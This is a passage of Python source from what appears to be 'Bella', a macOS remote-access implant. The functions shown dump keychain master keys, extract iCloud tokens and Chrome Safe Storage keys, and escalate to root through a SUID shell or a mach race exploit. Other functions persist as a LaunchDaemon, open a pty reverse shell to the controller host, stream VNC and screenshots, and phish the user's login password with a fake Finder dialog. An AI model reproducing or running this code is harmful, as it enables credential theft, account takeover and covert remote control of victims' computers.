  1188.     #for x in kchains:
  1189.     #   if x.endswith('-db'):
  1190.     #       kchain = x
  1191.     return kchain
  1192.  
  1193. def bella_info():
  1194.     mainString = ""
  1195.     send_msg("%sGathering system information.\n" % yellow_star, False)
  1196.     systemVersion = str(platform.mac_ver()[0])
  1197.     send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False)
  1198.     send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False)
  1199.     send_msg(blue_star + get_model(), False)
  1200.     try:
  1201.         battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";")
  1202.         charging = battery[1].replace(" ", "")
  1203.         percentage = battery[0]
  1204.         if charging == "charging":
  1205.             send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False)
  1206.         else:
  1207.             send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False)
  1208.     except:
  1209.         pass
  1210.    
  1211.     if not systemVersion.startswith("10.12"):
  1212.         if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"):
  1213.             if is_there_SUID_shell(): #normal user.
  1214.                 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
  1215.             else:
  1216.                 send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right?
  1217.     else:
  1218.         if os.getuid() == 0:
  1219.             send_msg("%sBella is running as root.\n" % greenPlus, False)
  1220.         elif is_there_SUID_shell():
  1221.             send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
  1222.         else:
  1223.             send_msg("%sNo root access via SUID shell.\n" % red_minus, False)
  1224.  
  1225.     filevault = check_output("fdesetup status")
  1226.     if filevault[0]:
  1227.         if "On" in filevault[1]:
  1228.             send_msg(red_minus + filevault[1], False)
  1229.         else:
  1230.             send_msg(greenPlus + filevault[1], False)
  1231.    
  1232.     if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
  1233.         csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
  1234.         (out, err) = csrutil.communicate()
  1235.         if "disabled" in out:
  1236.             send_msg(greenPlus + out, False)
  1237.             sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config)
  1238.         if "enabled" in out:
  1239.             send_msg(red_minus + out, False)
  1240.             sipEnabled = True
  1241.     else:
  1242.         sipEnabled = False
  1243.  
  1244.     kchain = getKeychains()
  1245.  
  1246.     if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP
  1247.         if is_there_SUID_shell():
  1248.             kcpayload = readDB('keychaindump', True)
  1249.             if not kcpayload:
  1250.                 send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False)
  1251.             else:
  1252.                 kcpath = payload_generator(kcpayload)
  1253.                 (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim?
  1254.                 master_key = msg.replace("[+] Found master key: ", "").replace("\n", "")
  1255.                 if success:
  1256.                     send_msg("    Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False)
  1257.                     if not readDB('mme_token'):
  1258.                         send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False)
  1259.                         iCloud = chainbreaker(kchain, master_key, 'iCloud')
  1260.                         send_msg("\t%siCloud:\n\t    [%s]\n" % (yellow_star, iCloud[0]), False)
  1261.                         if iCloud[1]:
  1262.                             send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
  1263.                             decrypted = kciCloudHelper(iCloud[0])
  1264.                             if not decrypted:
  1265.                                 send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False)
  1266.                             else:
  1267.                                 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
  1268.                                 updateDB(encrypt(decrypted), 'mme_token')
  1269.                                 send_msg("\t%sUpdated DB.\n\t    --------------\n" % greenPlus, False)
  1270.                     if not readDB('chromeSS'):
  1271.                         send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
  1272.                         chrome = chainbreaker(kchain, master_key, 'Chrome Safe Storage')
  1273.                         send_msg("\t%sChrome:\n\t    [%s]\n" % (yellow_star, chrome[0]), False)
  1274.                         if chrome[1]:
  1275.                             send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
  1276.                             updateDB(encrypt(chrome[0]), 'chromeSS')
  1277.                             send_msg("\t%sUpdated DB.\n" % greenPlus, False)
  1278.                 else:
  1279.                     send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False)
  1280.                 (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath)
  1281.                 if success:
  1282.                     msg = msg.replace("[+] Found master key: ", "").replace("\n", "")
  1283.                     if msg != '':
  1284.                         send_msg("%sSystem keychain master key found:\n    [%s]\n" % (greenPlus, msg), False)
  1285.                     else:
  1286.                         send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False)
  1287.                 payload_cleaner()
  1288.    
  1289.     iTunesSearch = get_iTunes_accounts()
  1290.  
  1291.     for x in iTunesSearch:
  1292.         if x[0]:
  1293.             send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False)
  1294.         else:
  1295.             send_msg(red_minus + x[1], False)
  1296.  
  1297.     iOSbackups = iTunes_backup_looker()
  1298.    
  1299.     if iOSbackups[1]:
  1300.         send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, iOSbackups[2]), False)
  1301.     else:
  1302.         send_msg("%sNo iOS backups are present.\n" % red_minus, False)
  1303.  
  1304.     if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path
  1305.         send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False)
  1306.    
  1307.     checkToken = tokenRead()
  1308.     if isinstance(checkToken, str):
  1309.         send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False)
  1310.  
  1311.     checkChrome = chromeSSRead()
  1312.     if isinstance(checkChrome, str):
  1313.         send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False)
  1314.  
  1315.     checkLP = local_pw_read()
  1316.     if isinstance(checkLP, str):
  1317.         send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username
  1318.         if not readDB('mme_token'):
  1319.             send_msg("\t%sAttempting to generate iCloud Auth Keys with local password.\n" % blue_star, False)
  1320.             iCloud = chainbreaker(kchain, 0, 'iCloud', checkLP.split(':')[1])
  1321.             send_msg("\t%siCloud:\n\t    [%s]\n" % (yellow_star, iCloud[0]), False)
  1322.             if iCloud[1]:
  1323.                 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
  1324.                 decrypted = kciCloudHelper(iCloud[0])
  1325.                 if not decrypted:
  1326.                     send_msg("\t%sError getting decrypted MMeAuthTokens with local password.\n" % red_minus, False)
  1327.                 else:
  1328.                     send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
  1329.                     updateDB(encrypt(decrypted), 'mme_token')
  1330.                     send_msg("\t%sUpdated DB.\n\t    --------------\n" % greenPlus, False)
  1331.         if not readDB('chromeSS'):
  1332.             send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
  1333.             chrome = chainbreaker(kchain, 0, 'Chrome Safe Storage', checkLP.split(':')[1])
  1334.             send_msg("\t%sChrome:\n\t    [%s]\n" % (yellow_star, chrome[0]), False)
  1335.             if chrome[1]:
  1336.                 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
  1337.                 updateDB(encrypt(chrome[0]), 'chromeSS')
  1338.                 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
  1339.  
  1340.  
  1341.     checkAP = applepwRead()
  1342.     if isinstance(checkAP, str):
  1343.         send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False)
  1344.     send_msg('', True)
  1345.     return 1
  1346.  
  1347. def recv_msg(sock):
  1348.     raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length.
  1349.     if not raw_msglen:
  1350.         return None
  1351.     msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into
  1352.     return recvaux(sock, msglen, False)
  1353.  
  1354. def recvaux(sock, n, length):
  1355.     if length:
  1356.         return sock.recv(4) # send over first 4 bytes of socket ....
  1357.     data = ''
  1358.     while len(data) < n:
  1359.         packet = sock.recv(n - len(data))
  1360.         if not packet:
  1361.             return None
  1362.         data += packet
  1363.     return data #convert from serialized into normal.
  1364.  
  1365. def make_SUID_root_binary(password, LPEpath):
  1366.     global ROOT_SHELL_PATH
  1367.     root_shell = readDB("root_shell", True)
  1368.     try:
  1369.         with open("/usr/local/roots", "w") as content:
  1370.             content.write(root_shell.decode('base64'))
  1371.         ROOT_SHELL_PATH = '/usr/local/roots'
  1372.     except IOError as e:
  1373.         if e.errno == 13:
  1374.             #for whatever reason we can write to /usr/local (domain environments typically)
  1375.             with open(os.environ['TMPDIR'] + 'roots', "w") as content:
  1376.                 content.write(root_shell.decode('base64'))
  1377.             ROOT_SHELL_PATH = os.environ['TMPDIR'] + 'roots'
  1378.         else:
  1379.             raise IOError
  1380.     if not LPEpath: #use password
  1381.         (username, password) = password.split(':')
  1382.         try:
  1383.             subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successfull
  1384.         except Exception as e:
  1385.             return (False, "%sUser's local password does not give us sudo access!\n" % red_minus)
  1386.         try:
  1387.             subprocess.check_output("echo %s | sudo -S chown 0:0 %s; echo %s | sudo -S chmod 4777 %s" % (password, ROOT_SHELL_PATH, password, ROOT_SHELL_PATH), shell=True) #perform setUID on shell
  1388.         except Exception as e:
  1389.             return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
  1390.         return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
  1391.     else:
  1392.         #LPEpath should be a path to an interactive root shell (thinking mach race)
  1393.         #### IF THIS LINE IS STILL HERE, THEN THIS MACH RACE / LPE DOES NOT WORK. Code needs to be added to actually install the shell ####
  1394.         cur_dir = os.getcwd()
  1395.         os.chdir('%s' % LPEpath)
  1396.         fugazy = subprocess.Popen("./root_shell.sh <<< 'chown 0:0 %s; chmod 4777 %s'" % (ROOT_SHELL_PATH,ROOT_SHELL_PATH), shell=True, stdout=PIPE, stderr=PIPE)
  1397.         os.chdir(cur_dir)
  1398.         error = fugazy.stderr.read()
  1399.         if not 'traceroute6: invalid wait time' in error: #perform setUID on shell
  1400.             return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
  1401.         else:
  1402.             remove_SUID_shell()
  1403.             return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit and escalating.\n[%s]\n" % (greenPlus, red_minus, error.replace('\n', '')))
  1404.  
  1405. def migrateToRoot(rootsPath):
  1406.     #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0
  1407.     #therefore, we will not use the do_root() function, and will instead call the roots binary directly.
  1408.     #we do this because we want full control over what happens. The migration is a critical process
  1409.     #no room for error. an error could break our shell.
  1410.     ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER
  1411.    
  1412.     relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:])
  1413.  
  1414.     if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path
  1415.         send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False)
  1416.         return
  1417.     if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path
  1418.         send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False)
  1419.         return
  1420.     if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path
  1421.         send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False)
  1422.         return
  1423.  
  1424.     """Create new bella location in /Library"""
  1425.     error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1426.     if error != '':
  1427.         send_msg("%sError creating path:\n\t%s" % (red_minus, error), False)
  1428.         return
  1429.     else:
  1430.         send_msg("%sCreated path '%s'.\n" % (blue_star, relativeBellaPath), False)
  1431.  
  1432.     """Copy bella database from current helper_location to new one in /Library"""
  1433.     error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1434.     if error != '':
  1435.         send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False)
  1436.         return
  1437.     else:
  1438.         send_msg("%sCopied Bella DB '%sbella.db' to '%sbella.db'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
  1439.    
  1440.     """Copy bella binary from current helper_location to new one in /Library"""
  1441.     error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1442.     if  error != '':
  1443.         send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False)
  1444.         return
  1445.     else:
  1446.         send_msg("%sCopied Bella binary '%sBella' to '%sBella'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
  1447.    
  1448.     """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons"""
  1449.     error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1450.     if error != '': #cp bella db to /Library (root location)
  1451.         send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False)
  1452.         return
  1453.     else:
  1454.         send_msg("%sCopied launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False)
  1455.  
  1456.     """Replace path to bella binary in the new launchDaemon"""
  1457.     error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1458.     if error != '':
  1459.         send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False)
  1460.         return
  1461.     else:
  1462.         send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False)
  1463.  
  1464.     """Load new LaunchDaemon and then 'delete' the server"""
  1465.     error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
  1466.     if 'service already loaded' not in error and error != '':
  1467.         send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False)
  1468.         return
  1469.     else:
  1470.         send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False)
  1471.  
  1472.     send_msg("%sRemoving current server.\n" % yellow_star, False)
  1473.     removeServer()
  1474.     return
  1475.  
  1476. def removeServer():
  1477.     subprocess_cleanup()
  1478.     destroyer = "rm -rf %s" % get_bella_path()
  1479.     if os.getuid() == 0:
  1480.         destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name)
  1481.     else:
  1482.         destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name)
  1483.     os.system(destroyer)
  1484.     send_msg("Server destroyed.\n", True)
  1485.     unloader = "launchctl remove %s" % launch_agent_name
  1486.     os.system(unloader)
  1487.  
  1488. def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem
  1489.     if os.getuid() == 0:
  1490.         send_msg("%sWe are already root.\n" % yellow_star, True)
  1491.         return
  1492.     else:
  1493.         send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False)
  1494.  
  1495.     sys_vers = str(platform.mac_ver()[0])
  1496.     if is_there_SUID_shell():
  1497.         migrateToRoot(ROOT_SHELL_PATH)
  1498.         send_msg('', True)
  1499.         return
  1500.    
  1501.     if local_pw_read():
  1502.         send_msg("%sLocal PW present.\n" % greenPlus, False)
  1503.         ### We have a local password, let us try to use it to get a root shell ###
  1504.         binarymake = make_SUID_root_binary(local_pw_read(), None)
  1505.         send_msg(binarymake[1], False)
  1506.         if binarymake[0]:
  1507.             #updateDB('local user password', 'rootedMethod')
  1508.             #send_msg('', True)
  1509.             migrateToRoot(ROOT_SHELL_PATH)
  1510.             send_msg('', True)
  1511.             return
  1512.     else:
  1513.         send_msg("%sNo user password found. Run 'phish_user_pass' to phish this. It should give us root.\n" % red_minus, False)
  1514.  
  1515.     if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers == ("10.11") or sys_vers == ("10.11.1") or sys_vers == ("10.11.2") or sys_vers == ("10.11.3"):
  1516.         zipped = readDB('mach_race', True)
  1517.         paths = payload_generator(zipped)
  1518.         dirs = '/'.join(paths.split('/')[:-1]) + '/'
  1519.         os.system("unzip %s -d %s" % (paths, dirs))
  1520.         send_msg("unzip %s -d %s\n\n" % (paths, dirs), False)
  1521.         root_escalate = '%sexecuter/' % dirs
  1522.         binarymake = make_SUID_root_binary(None, root_escalate)
  1523.         if binarymake[0]:
  1524.             #updateDB('local privilege escalation', 'rootedMethod')
  1525.             send_msg(binarymake[1], False)
  1526.             migrateToRoot(ROOT_SHELL_PATH)
  1527.             send_msg('', True)
  1528.             return
  1529.         else:
  1530.             send_msg(binarymake[1], True)
  1531.             remove_SUID_shell()
  1532.             return
  1533.     send_msg("%sLocal privilege escalation not implemented for OSX %s\n" % (red_minus, sys_vers), True)
  1534.     return
  1535.  
  1536. def start_interactive_shell(shell_port):
  1537.         shelled = subprocess.Popen("python -c \"import sys,socket,os,pty; _,ip,port=('', '%s', '%s'); s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')\"" % (host, shell_port), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE  )
  1538.         time.sleep(1)
  1539.         if shelled.poll():
  1540.             send_msg("%sFailed to start interactive shell.\nError: [%s]\n" % (red_minus, shelled.stderr.read().replace('\n', '')), True)
  1541.         else:
  1542.             send_msg('interactive_shell_init', True)
  1543.         return
  1544.  
  1545. def tokenFactory(authCode):
  1546.     #now that we have proper b64 encoded auth code, we will attempt to get all account tokens.
  1547.     try:
  1548.         req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
  1549.         req.add_header('Authorization', 'Basic %s' % authCode)
  1550.         req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified.
  1551.         req.add_header('X-MMe-Client-Info', '<iPhone6,1> <iPhone OS;9.3.2;13F69> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>') #necessary header to get tokens.
  1552.         resp = urllib2.urlopen(req)
  1553.         content = resp.read()
  1554.         tokens = []
  1555.         #staple it together & call it bad weather
  1556.         accountInfo = []
  1557.         accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"])
  1558.        
  1559.         try:
  1560.             tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"])
  1561.         except:
  1562.             pass
  1563.         try:
  1564.             tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"])
  1565.         except:
  1566.             pass
  1567.         try:
  1568.             tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"])
  1569.         except:
  1570.             pass
  1571.         try:
  1572.             tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"])
  1573.         except:
  1574.             pass
  1575.         try:
  1576.             tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"])
  1577.         except:
  1578.             pass
  1579.  
  1580.         return (tokens, accountInfo)
  1581.     except Exception, e:
  1582.         return '%s' % e
  1583.  
  1584. def tokenForce():
  1585.     token = tokenRead()
  1586.     if token != False:
  1587.         send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True)
  1588.         return 1
  1589.     while True: #no token exists, begin blast
  1590.         ### switch out for chain breaker
  1591.         from Foundation import NSData, NSPropertyListSerialization
  1592.         ### CTRLC listener
  1593.         if sig_int_listener(): #user hit CTRLC, cancel.
  1594.             return
  1595.         kchain = getKeychains()
  1596.         send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
  1597.        
  1598.         iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain))
  1599.         if not iCloudKey[0]:
  1600.             if 51 == iCloudKey[2]:
  1601.                 send_msg("%sUser clicked deny.\n" % red_minus, False)
  1602.                 continue
  1603.             elif 44 == iCloudKey[2]:
  1604.                 send_msg("%sNo iCloud Key Found!\n" % red_minus, True)
  1605.                 return 0
  1606.             else:
  1607.                 send_msg("Strange error [%s]\n" % iCloudKey[1], True)
  1608.                 return 0
  1609.         iCloudKey = iCloudKey[1].replace('\n', '')
  1610.        
  1611.         msg = base64.b64decode(iCloudKey)
  1612.         key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
  1613.         hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
  1614.         hexedKey = binascii.hexlify(hashed)
  1615.         IV = 16 * '0'
  1616.         mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
  1617.         for x in mme_token_file:
  1618.             try:
  1619.                 int(x.split("/")[-1])
  1620.                 mme_token_file = x
  1621.             except ValueError:
  1622.                 continue
  1623.         send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False)
  1624.         decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
  1625.         binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
  1626.         token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
  1627.         tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
  1628.         tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
  1629.         logged = updateDB(encrypt(tokz.decode('utf-8').encode('ascii', 'ignore')), 'mme_token') #update the DB....
  1630.         send_msg(tokz, True)
  1631.         return 1
  1632.  
  1633. def tokenRead():
  1634.     token = readDB('mme_token')
  1635.     if not token:
  1636.         return token
  1637.     return decrypt(token)
  1638.  
  1639. def chromeSSRead():
  1640.     sskey = readDB('chromeSS')
  1641.     if not sskey:
  1642.         return sskey
  1643.     return decrypt(sskey)
  1644.  
  1645. def local_pw_read():
  1646.     pw = readDB('localPass')
  1647.     if not pw:
  1648.         return pw
  1649.     return decrypt(pw)
  1650.  
  1651. def applepwRead():
  1652.     pw = readDB('applePass')
  1653.     if not pw:
  1654.         return pw
  1655.     return decrypt(pw)
  1656.  
  1657. def set_client_name(name):
  1658.     updateDB(name, 'client_name')
  1659.     return 'updated_client_name:::%s:::%sUpdated client name to [%s].\n' % (name, blue_star, name)
  1660.  
  1661. def screenShot():
  1662.     screen = os.system("screencapture -x /tmp/screen")
  1663.     try:
  1664.         with open("/tmp/screen", "r") as shot:
  1665.             contents = base64.b64encode(shot.read())
  1666.         os.remove("/tmp/screen")
  1667.         return "screenCapture%s" % contents
  1668.     except IOError:
  1669.         return "screenCapture%s" % "error"
  1670.  
  1671. def send_msg(msg, EOF):
  1672.     global bella_connection
  1673.     if isinstance(msg, unicode):
  1674.         msg = msg.encode('utf-8')
  1675.     final_msg = struct.pack('>I', len(msg)) + struct.pack('?', EOF) + msg
  1676.     bella_connection.sendall(final_msg)
  1677.  
  1678. def getWifi():
  1679.     ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  1680.     try:
  1681.         value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read()
  1682.     except Exception as e:
  1683.         value = "AirPort: Off"
  1684.     return value
  1685.  
  1686. def sig_int_listener():
  1687.     global bella_connection
  1688.     print 'Listener called'
  1689.     ### CTRLC listener
  1690.     bella_connection.settimeout(0.0)
  1691.     try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
  1692.         print 'Checking for messge'
  1693.         if recv_msg(bella_connection) == 'sigint9kill':
  1694.             print 'Got message'
  1695.             sys.stdout.flush()
  1696.             send_msg('terminated', True) #send back confirmation along with STDERR
  1697.             print 'Sent terminator.'
  1698.             bella_connection.settimeout(None)
  1699.             return True
  1700.     except socket.error as e: #no message, business as usual
  1701.         pass
  1702.     bella_connection.settimeout(None)
  1703.     return False
  1704.  
  1705. def user_pass_phish():
  1706.     userTB = cur_GUI_user()
  1707.     wifiNetwork = getWifi()
  1708.     icon = readDB('lock_icon', True)   
  1709.     if not icon:
  1710.         send_msg('Error generating lock icon, using system default.\n')
  1711.         path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:Actions.icns'
  1712.     else:
  1713.         path = payload_generator(icon).replace("/", ":")
  1714.     send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False)
  1715.     while True:
  1716.         if sig_int_listener(): #user hit CTRLC, cancel.
  1717.             return
  1718.         check = local_pw_read()
  1719.         if isinstance(check, str):
  1720.             send_msg("%sAccount password already found:\n%s\n" % (blue_star, check.replace("\n", "")), True)
  1721.             return 1
  1722.         #os.system("networksetup -setairportpower en0 off") We can't disable Wi-Fi actually, bc then we lose our connection
  1723.         script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"Could not find password to the network \\\"%s\\\". To access the network password please enter your keychain [login] password.\" default answer \"\" buttons {\"Always Allow\", \"Deny\", \"Allow\"} with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, wifiNetwork, path) #with title \"Network Connection\" giving up after 15'" % wifiNetwork
  1724.         out = subprocess.check_output(script, shell=True)
  1725.         password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0]
  1726.         send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False)
  1727.         if password == "":
  1728.             continue
  1729.         if verifyPassword(userTB, password):
  1730.             send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, password, endANSI), False)
  1731.             subprocess_cleanup()
  1732.             updateDB(encrypt("%s:%s" % (userTB, password)), 'localPass') #store encrypted pass in DB
  1733.             #os.system("networksetup -setairportpower en0 on") #enable Wi-Fi
  1734.             send_msg("%sUsing this password to root Bella.\n" % yellow_star, False)
  1735.             rooter()
  1736.             return 1
  1737.         else:
  1738.             send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False)
  1739.     return 1 #this should never get here, while loop should continue indefinitely.
  1740.  
  1741. def verifyPassword(username, password):
  1742.     try:
  1743.         output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True)
  1744.         return True
  1745.     except:
  1746.         return False
  1747.  
  1748. def vnc_start(vnc_port):
  1749.     send_msg('%sOpening VNC Connection.\n' % blue_star, False)
  1750.     if readDB('vnc', True):
  1751.         payload_path = payload_generator(readDB('vnc', True))
  1752.     else:
  1753.         return "%sNo VNC payload was found"
  1754.     pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE)
  1755.     subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC')
  1756.     send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False)
  1757.     send_msg('%sOpening Stream.\n' % blue_star, False)
  1758.     time.sleep(2)
  1759.     send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True)
  1760.     return 0
  1761.  
  1762. def get_bella_path():
  1763.     return helper_location
  1764.  
  1765. def get_bella_user():
  1766.     return bella_user
  1767.  
  1768. def bella(*Emma):
  1769.     ### We start with having bella only work for the user who initially runs it ###
  1770.     ### For now, we will assume that the initial user to run Bella is NOT root ###
  1771.     ### This assumption is made bc if we have a root shell, we likely have a user shell ###
  1772.     ###set global whoami to current user, this will be stored as the original user in DB
  1773.     global bella_connection
  1774.  
  1775.     if not os.path.isdir(get_bella_path()):
  1776.         os.makedirs(get_bella_path())
  1777.     creator = createDB() #createDB will reference the global whoami
  1778.     if not creator[0]:
